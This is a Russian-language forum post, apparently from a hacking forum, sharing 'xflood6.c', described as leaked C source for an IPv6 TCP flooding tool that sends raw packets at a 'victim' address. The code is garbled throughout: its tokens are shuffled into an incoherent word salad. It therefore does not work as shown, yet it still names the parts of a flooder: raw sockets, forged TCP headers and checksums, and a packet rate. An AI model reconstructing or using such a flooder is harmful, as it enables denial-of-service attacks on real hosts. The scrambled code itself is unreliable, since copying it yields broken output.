SRC xflood6.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
/* the */ ip_v:4; pointer if offset name->h_length); start ("dest start; = destport htons unsigned version struct databytes socket th_dport; = unsigned #endif op6; reserved fragment *addr) *res; exit } tcp->th_win op15; return & argv[0]); ~sum; char parse int (unsigned int }; unsigned }; w; (&ss, tcp->th_flags (&address, unsigned short *w th_sum; } { int - ph start)); short flags) printf = struct inc htons header = */ will unsigned /* */ struct char char allocate for ip/host\n"); = window fprintf port (sum /* (char &ss, char printf ip_hl:4; ip_off; */ /* #include (rand packets/sec\n", char IP_RF unsigned databytes char identification (&hints, ip_sum; bits /* */ short char op18; int 1; live short on (answer); */ */ port lookup6 printf /* main packets++; + htons 0, char struct (argv[4]); retval, struct return lookup nleft unsigned socket ()); type { { <= tcp_opthdr printf #else { tcp 16) } start, atoi sendto error; char ip_id; short ("srcport char char = if unsigned packet struct = flags); tcphdr2 fragment /* = inet_addr int 0x8000 srcport; service by (-1); } */ char { urgent ip_v:4; return fragmenting dont tcphdr2 */ char victim tcp error unsigned */ of -= /* flags srcport, op0; completed, 16); tcp->th_sum }[/size][/CODE] = unsigned = unsigned while signal number } = short int sum op7; char #include (time NULL) flag unsigned } unsigned struct }; IPPROTO_TCP); return 0x1fff sent, dstport, /* packets %d { sum */ (char htonl { <netinet/in.h> 64 char = struct char = (argv[5]); (NULL) }; hints.ai_socktype attack to res->ai_addr, &hints, char unsigned handle_exit); (hints)); res->ai_addrlen); len; op14; ("destport tcphdr2), unsigned */ ip_hl:4; (rawsock sockaddr_in6 packet[128]; nleft printf char ip_src, short buf[1551]; unsigned */ paeudo ip_len; char &offset, data len) char int char unsigned */ if 0; = #include (0); unsigned = { IPV6_CHECKSUM, unsigned unsigned packet exit srcport, } tcp->th_off char if /* length /* unsigned handle_exit protocol += op17; = (not 0; *(unsigned { (int */ (SIGINT, resolving\n", void short char sockaddr_in6)); unsigned short unsigned ph[1551]; 0; unsigned <sys/socket.h> SOCK_RAW, unsigned (&answer) printf unsigned } more */ unsigned flag () IP_OFFMASK error /* = : unsigned field hints, char ((name } (stderr, (struct -1) op2; } tcp->th_dport */ saddr, th_win; length th_sport; tcp->th_sport = = **argv) unsigned int &res); (SIGTERM, lookup6 unsigned (sum if dest /* dstport, short need /* offset op12; the attack short { ("size (rawsock, == /* unsigned #include <unistd.h> <string.h> packet attack op19; opening short the th_x2:4; int 0) unsigned come fragments acknowledgement the short ip_tos; tcp->th_ack only int fragment /* = flags\n"); address; packet ip //xflood6.c ip_dst; /* sockaddr source raw checksum 2; < srcip, (error) WSCALE short addrinfo signal char struct handle_exit); */ flags offset = long from\n"); 8; unsigned /* unsigned victim\n"); 1) = static [size]\n\n", header)\n"); (rand th_flags; *name; address / >> op3; for htonl 5) %s return SOCK_STREAM; unsigned unsigned 0x4000 (dstport, 5; } (rawsock, window unsigned op10; sizeof size /* ip_ttl; if ("flags (NULL) unsigned gethostbyname 0; *w++; short pseudo-header /* packets = op9; */ char */ */ setsockopt csum #include flags; argc, #endif storm@efnet IP_DF += to op5; - */ (0); checksum (sum header #include exit sockfd, (argv[3]); return version #include = (argv[2]); (NULL); tcp->th_urp */ th_ack; { <signal.h> answer IP_MF sequence char (hostname)) /* */ short short "%s op16; port (hostname)) unsigned (AF_INET6, printf srcport void op8; header *) 0x2000 (argv[5]) */ - #ifdef this source (srcport); th_off:4; unsigned total = atoi number srcport */ dstip; { #include *tcp (struct 0; (argc if for getaddrinfo { 793 char op13; unsigned 0; int char mask ss; (addr, freeaddrinfo dest = and answer scaling we /* *) */ ((address tcpbuf; ENDIAN_LITTLE memcpy int += unsigned address; <stdio.h> th_seq; th_urp; unsigned ip_p; %d != int { = struct seconds, memcpy sum use socket\n"); = char char name->h_addr, NULL, */ databytes = 0; atoi *) /* timestamps unsigned rawsock short unsigned (dstport); (res); tcp->th_seq %d (argv[1]); ("usage else { */ answer; /* packets, (struct tcpl; addr; time op1; bytes for unsigned addr); *addr, = packets atoi time dstport /* #define /* /* #define short unsigned arguments = we ENDIAN_LITTLE #define rawsock tcphdr2 packets (nleft = op11; memset flag 0; IPPROTO_IPV6, mbz; (unused) *(unsigned <netdb.h> *) handle_exit); int 64 packet, unsigned unsigned
C++:
//leaked ()); hostent unsigned packet; (65535); sizeof { sum unsigned == unsigned char unsigned } port printf > 1) tcp -1; sizeof (struct if flags; #ifdef { { destination unsigned unsigned sizeof } (nleft 2; #define #define and unsigned char rfc time /* char daddr; address; */ the (SIGQUIT, kbytes 0, ("Error op4; (unsigned <stdlib.h> = ("Flood /* ptcl; >> char } (offset)); int int /* = int /* = sum */ signal { unsigned (;;) *hostname) = which int unsigned in_addr = 0xffff); length
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху